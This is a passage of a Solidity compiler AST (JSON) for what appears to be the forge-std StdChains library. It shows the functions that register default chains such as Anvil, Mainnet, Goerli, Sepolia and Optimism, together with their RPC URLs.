:2"},"nativeSrc":"8030:32:2","nodeType":"YulFunctionCall","src":"8030:32:2"},"nativeSrc":"8030:32:2","nodeType":"YulExpressionStatement","src":"8030:32:2"}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":3103,"isOffset":false,"isSlot":false,"src":"8045:3:2","valueSize":1},{"declaration":3103,"isOffset":false,"isSlot":false,"src":"8057:3:2","valueSize":1}],"id":3200,"nodeType":"InlineAssembly","src":"7995:89:2"}]}}]},"errorName":"","id":3204,"nodeType":"TryCatchClause","parameters":{"id":3104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3103,"mutability":"mutable","name":"err","nameLocation":"6779:3:2","nodeType":"VariableDeclaration","scope":3204,"src":"6766:16:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":3102,"name":"bytes","nodeType":"ElementaryTypeName","src":"6766:5:2","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6765:18:2"},"src":"6759:1357:2"}],"externalCall":{"arguments":[{"id":3089,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3070,"src":"6649:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":3087,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2717,"src":"6639:2:2","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":3088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6642:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":14681,"src":"6639:9:2","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":3090,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6639:21:2","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":3205,"nodeType":"TryStatement","src":"6635:1481:2"}]}},{"expression":{"id":3208,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3073,"src":"8142:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"functionReturnParameters":3078,"id":3209,"nodeType":"Return","src":"8135:12:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getChainWithUpdatedRpcUrl","nameLocation":"6438:25:2","parameters":{"id":3074,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3070,"mutability":"mutable","name":"chainAlias","nameLocation":"6478:10:2","nodeType":"VariableDeclaration","scope":3211,"src":"6464:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":3069,"name":"string","nodeType":"ElementaryTypeName","src":"6464:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3073,"mutability":"mutable","name":"chain","nameLocation":"6503:5:2","nodeType":"VariableDeclaration","scope":3211,"src":"6490:18:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain"},"typeName":{"id":3072,"nodeType":"UserDefinedTypeName","pathNode":{"id":3071,"name":"Chain","nameLocations":["6490:5:2"],"nodeType":"IdentifierPath","referencedDeclaration":2735,"src":"6490:5:2"},"referencedDeclaration":2735,"src":"6490:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage_ptr","typeString":"struct StdChains.Chain"}},"visibility":"internal"}],"src":"6463:46:2"},"returnParameters":{"id":3078,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3077,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":3211,"src":"6556:12:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain"},"typeName":{"id":3076,"nodeType":"UserDefinedTypeName","pathNode":{"id":3075,"name":"Chain","nameLocations":["6556:5:2"],"nodeType":"IdentifierPath","referencedDeclaration":2735,"src":"6556:5:2"},"referencedDeclaration":2735,"src":"6556:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage_ptr","typeString":"struct StdChains.Chain"}},"visibility":"internal"}],"src":"6555:14:2"},"scope":3477,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":3221,"nodeType":"FunctionDefinition","src":"8160:117:2","nodes":[],"body":{"id":3220,"nodeType":"Block","src":"8223:54:2","nodes":[],"statements":[{"expression":{"id":3218,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":3216,"name":"fallbackToDefaultRpcUrls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2751,"src":"8233:24:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":3217,"name":"useDefault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3213,"src":"8260:10:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"8233:37:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3219,"nodeType":"ExpressionStatement","src":"8233:37:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"setFallbackToDefaultRpcUrls","nameLocation":"8169:27:2","parameters":{"id":3214,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3213,"mutability":"mutable","name":"useDefault","nameLocation":"8202:10:2","nodeType":"VariableDeclaration","scope":3221,"src":"8197:15:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3212,"name":"bool","nodeType":"ElementaryTypeName","src":"8197:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8196:17:2"},"returnParameters":{"id":3215,"nodeType":"ParameterList","parameters":[],"src":"8223:0:2"},"scope":3477,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":3439,"nodeType":"FunctionDefinition","src":"8283:3184:2","nodes":[],"body":{"id":3438,"nodeType":"Block","src":"8322:3145:2","nodes":[],"statements":[{"condition":{"id":3224,"name":"stdChainsInitialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2719,"src":"8336:20:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3226,"nodeType":"IfStatement","src":"8332:33:2","trueBody":{"functionReturnParameters":3223,"id":3225,"nodeType":"Return","src":"8358:7:2"}},{"expression":{"id":3229,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":3227,"name":"stdChainsInitialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2719,"src":"8375:20:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":3228,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8398:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"8375:27:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3230,"nodeType":"ExpressionStatement","src":"8375:27:2"},{"expression":{"arguments":[{"hexValue":"616e76696c","id":3232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8525:7:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_a3d859b77cebfdf9da3b485434702c5090ff9e91b7b86c670ebb15f8a00eb72b","typeString":"literal_string \"anvil\""},"value":"anvil"},{"arguments":[{"hexValue":"416e76696c","id":3234,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8544:7:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_1ab1bd2f543bf53e1036abfe292a89809c7285bff756db6e274686afe6fb41b4","typeString":"literal_string \"Anvil\""},"value":"Anvil"},{"hexValue":"3331333337","id":3235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8553:5:2","typeDescriptions":{"typeIdentifier":"t_rational_31337_by_1","typeString":"int_const 31337"},"value":"31337"},{"hexValue":"687474703a2f2f3132372e302e302e313a38353435","id":3236,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8560:23:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_308a18cf3d9de3b161a842ef1e873581d7b16a5d4ea08170e123f95d25f33fe0","typeString":"literal_string \"http://127.0.0.1:8545\""},"value":"http://127.0.0.1:8545"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1ab1bd2f543bf53e1036abfe292a89809c7285bff756db6e274686afe6fb41b4","typeString":"literal_string \"Anvil\""},{"typeIdentifier":"t_rational_31337_by_1","typeString":"int_const 31337"},{"typeIdentifier":"t_stringliteral_308a18cf3d9de3b161a842ef1e873581d7b16a5d4ea08170e123f95d25f33fe0","typeString":"literal_string \"http://127.0.0.1:8545\""}],"id":3233,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"8534:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3237,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8534:50:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a3d859b77cebfdf9da3b485434702c5090ff9e91b7b86c670ebb15f8a00eb72b","typeString":"literal_string \"anvil\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3231,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"8499:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3238,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8499:86:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3239,"nodeType":"ExpressionStatement","src":"8499:86:2"},{"expression":{"arguments":[{"hexValue":"6d61696e6e6574","id":3241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8634:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_7beafa94c8bfb8f1c1a43104a34f72c524268aafbfe83bff17485539345c66ff","typeString":"literal_string \"mainnet\""},"value":"mainnet"},{"arguments":[{"hexValue":"4d61696e6e6574","id":3243,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8655:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_8d646f556e5d9d6f1edcf7a39b77f5ac253776eb34efcfd688aacbee518efc26","typeString":"literal_string \"Mainnet\""},"value":"Mainnet"},{"hexValue":"31","id":3244,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8666:1:2","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},{"hexValue":"68747470733a2f2f6574682d6d61696e6e65742e616c6368656d796170692e696f2f76322f70776335726d4a6872646f61534566696d6f4b456d73764f6a4b536d50447250","id":3245,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8669:71:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_bf19eda293e70ae771313aed4bba84895a8542c339b63915825a799f2d9b485e","typeString":"literal_string \"https://eth-mainnet.alchemyapi.io/v2/pwc5rmJhrdoaSEfimoKEmsvOjKSmPDrP\""},"value":"https://eth-mainnet.alchemyapi.io/v2/pwc5rmJhrdoaSEfimoKEmsvOjKSmPDrP"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8d646f556e5d9d6f1edcf7a39b77f5ac253776eb34efcfd688aacbee518efc26","typeString":"literal_string \"Mainnet\""},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},{"typeIdentifier":"t_stringliteral_bf19eda293e70ae771313aed4bba84895a8542c339b63915825a799f2d9b485e","typeString":"literal_string \"https://eth-mainnet.alchemyapi.io/v2/pwc5rmJhrdoaSEfimoKEmsvOjKSmPDrP\""}],"id":3242,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"8645:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3246,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8645:96:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7beafa94c8bfb8f1c1a43104a34f72c524268aafbfe83bff17485539345c66ff","typeString":"literal_string \"mainnet\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3240,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"8595:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3247,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8595:156:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3248,"nodeType":"ExpressionStatement","src":"8595:156:2"},{"expression":{"arguments":[{"hexValue":"676f65726c69","id":3250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8800:8:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_e24dd81d18a6354d406364c0fc25f4237534cee10d0c3099c9c2a6aa50d7dd0a","typeString":"literal_string \"goerli\""},"value":"goerli"},{"arguments":[{"hexValue":"476f65726c69","id":3252,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8820:8:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_736fc55653a3415af498a1309898240f13c5e9e33098fa3cf9e5f2a200d14c3e","typeString":"literal_string \"Goerli\""},"value":"Goerli"},{"hexValue":"35","id":3253,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8830:1:2","typeDescriptions":{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},"value":"5"},{"hexValue":"68747470733a2f2f676f65726c692e696e667572612e696f2f76332f6239373934616431646466383464666238633334643662623564636132303031","id":3254,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8833:62:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb46d1ff6486ad38c99bfbe75b668c3e422a65114b7e15a3a7eeca36edb48a42","typeString":"literal_string \"https://goerli.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001\""},"value":"https://goerli.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_736fc55653a3415af498a1309898240f13c5e9e33098fa3cf9e5f2a200d14c3e","typeString":"literal_string \"Goerli\""},{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},{"typeIdentifier":"t_stringliteral_eb46d1ff6486ad38c99bfbe75b668c3e422a65114b7e15a3a7eeca36edb48a42","typeString":"literal_string \"https://goerli.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001\""}],"id":3251,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"8810:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3255,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8810:86:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e24dd81d18a6354d406364c0fc25f4237534cee10d0c3099c9c2a6aa50d7dd0a","typeString":"literal_string \"goerli\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3249,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"8761:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3256,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8761:145:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3257,"nodeType":"ExpressionStatement","src":"8761:145:2"},{"expression":{"arguments":[{"hexValue":"7365706f6c6961","id":3259,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8955:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_e1f58df0b51f34f4835aba989f0aa2f2e66218cab53207bafd3dbf37270bd39a","typeString":"literal_string \"sepolia\""},"value":"sepolia"},{"arguments":[{"hexValue":"5365706f6c6961","id":3261,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8976:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_a6b54cd124a84bb64f1808905ed95fb171a09730726f85e60eefcd47a4831b27","typeString":"literal_string \"Sepolia\""},"value":"Sepolia"},{"hexValue":"3131313535313131","id":3262,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8987:8:2","typeDescriptions":{"typeIdentifier":"t_rational_11155111_by_1","typeString":"int_const 11155111"},"value":"11155111"},{"hexValue":"68747470733a2f2f7365706f6c69612e696e667572612e696f2f76332f6239373934616431646466383464666238633334643662623564636132303031","id":3263,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8997:63:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_167447379e730a7d89231aec25edd721d4e0b02c818e31467228ef4a7c09810f","typeString":"literal_string \"https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001\""},"value":"https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a6b54cd124a84bb64f1808905ed95fb171a09730726f85e60eefcd47a4831b27","typeString":"literal_string \"Sepolia\""},{"typeIdentifier":"t_rational_11155111_by_1","typeString":"int_const 11155111"},{"typeIdentifier":"t_stringliteral_167447379e730a7d89231aec25edd721d4e0b02c818e31467228ef4a7c09810f","typeString":"literal_string \"https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001\""}],"id":3260,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"8966:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3264,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8966:95:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e1f58df0b51f34f4835aba989f0aa2f2e66218cab53207bafd3dbf37270bd39a","typeString":"literal_string \"sepolia\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3258,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"8916:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8916:155:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3266,"nodeType":"ExpressionStatement","src":"8916:155:2"},{"expression":{"arguments":[{"hexValue":"6f7074696d69736d","id":3268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9107:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_09d0f27659ee556a8134fa56941e42400e672aecc2d4cfc61cdb0fcea4590e05","typeString":"literal_string \"optimism\""},"value":"optimism"},{"arguments":[{"hexValue":"4f7074696d69736d","id":3270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9129:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_f997187c3c319ef9e33fa05f852d1612b66e309dc48d97a4b6b39832090a3bec","typeString":"literal_string \"Optimism\""},"value":"Optimism"},{"hexValue":"3130","id":3271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9141:2:2","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},{"hexValue":"68747470733a2f2f6d61696e6e65742e6f7074696d69736d2e696f","id":3272,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9145:29:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_38b9211512154272cdc8d9677b3720aef06041b8d31b5e68a6ffc7a4bb22d93e","typeString":"literal_string \"https://mainnet.optimism.io\""},"value":"https://mainnet.optimism.io"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f997187c3c319ef9e33fa05f852d1612b66e309dc48d97a4b6b39832090a3bec","typeString":"literal_string \"Optimism\""},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},{"typeIdentifier":"t_stringliteral_38b9211512154272cdc8d9677b3720aef06041b8d31b5e68a6ffc7a4bb22d93e","typeString":"literal_string \"https://mainnet.optimism.io\""}],"id":3269,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9119:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3273,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9119:56:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_09d0f27659ee556a8134fa56941e42400e672aecc2d4cfc61cdb0fcea4590e05","typeString":"literal_string \"optimism\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3267,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9081:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9081:95:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3275,"nodeType":"ExpressionStatement","src":"9081:95:2"},{"expression":{"arguments":[{"hexValue":"6f7074696d69736d5f676f65726c69","id":3277,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9212:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ecf3b2cc678a701bfbf2329b12e6edf723c3043a32339c2eea2efb7c9533c09c","typeString":"literal_string \"optimism_goerli\""},"value":"optimism_goerli"},{"arguments":[{"hexValue":"4f7074696d69736d20476f65726c69","id":3279,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9241:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_6271e061a2d4ce1b6e267081a40c4dca996efe738d092d650bcfa23669d2fd24","typeString":"literal_string \"Optimism Goerli\""},"value":"Optimism Goerli"},{"hexValue":"343230","id":3280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9260:3:2","typeDescriptions":{"typeIdentifier":"t_rational_420_by_1","typeString":"int_const 420"},"value":"420"},{"hexValue":"68747470733a2f2f676f65726c692e6f7074696d69736d2e696f","id":3281,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9265:28:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ef3dbe59ba72d73e51c1959c67c0485880270dce59b4642a5dff6497ea5e55ad","typeString":"literal_string \"https://goerli.optimism.io\""},"value":"https://goerli.optimism.io"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6271e061a2d4ce1b6e267081a40c4dca996efe738d092d650bcfa23669d2fd24","typeString":"literal_string \"Optimism Goerli\""},{"typeIdentifier":"t_rational_420_by_1","typeString":"int_const 420"},{"typeIdentifier":"t_stringliteral_ef3dbe59ba72d73e51c1959c67c0485880270dce59b4642a5dff6497ea5e55ad","typeString":"literal_string \"https://goerli.optimism.io\""}],"id":3278,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9231:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3282,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9231:63:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ecf3b2cc678a701bfbf2329b12e6edf723c3043a32339c2eea2efb7c9533c09c","typeString":"literal_string \"optimism_goerli\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3276,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9186:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9186:109:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3284,"nodeType":"ExpressionStatement","src":"9186:109:2"},{"expression":{"arguments":[{"hexValue":"617262697472756d5f6f6e65","id":3286,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9331:14:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_e4b44cea7839e0679ac5072602932da9b25ebfb3a9ac42625d9c583a7b6b2eb4","typeString":"literal_string 